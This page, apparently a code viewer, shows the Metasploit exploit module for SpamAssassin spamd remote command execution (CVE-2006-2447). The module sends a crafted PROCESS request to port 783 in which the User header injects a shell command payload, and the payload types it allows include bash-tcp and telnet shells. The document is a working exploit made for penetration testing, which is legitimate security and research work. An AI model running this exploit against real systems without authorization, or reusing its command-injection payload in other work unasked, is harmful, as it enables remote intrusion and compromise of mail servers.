Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/misc/spamassassin_exec.rb
19719 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'SpamAssassin spamd Remote Command Execution',
16
'Description' => %q{
17
This module exploits a flaw in the SpamAssassin spamd service by specifying
18
a malicious vpopmail User header, when running with vpopmail and paranoid
19
modes enabled (non-default). Versions prior to v3.1.3 are vulnerable
20
},
21
'Author' => [ 'aushack' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2006-2447' ],
25
[ 'OSVDB', '26177' ],
26
[ 'BID', '18290' ],
27
[ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],
28
],
29
'Privileged' => false,
30
'Payload' => {
31
'DisableNops' => true,
32
'Space' => 1024,
33
'Compat' =>
34
{
35
'PayloadType' => 'cmd cmd_bash',
36
'RequiredCmd' => 'generic perl ruby bash-tcp telnet',
37
}
38
},
39
'Platform' => 'unix',
40
'Arch' => ARCH_CMD,
41
'Targets' => [
42
[ 'Automatic', {}],
43
],
44
'DisclosureDate' => '2006-06-06',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options(
55
[
56
Opt::RPORT(783)
57
]
58
)
59
end
60
61
def exploit
62
connect
63
64
content = Rex::Text.rand_text_alpha(20)
65
66
sploit = "PROCESS SPAMC/1.2\r\n"
67
sploit << "Content-length: #{(content.length + 2)}\r\n"
68
sploit << "User: ;#{payload.encoded}\r\n\r\n"
69
sploit << content + "\r\n\r\n"
70
71
sock.put(sploit)
72
73
handler
74
disconnect
75
end
76
end
77
78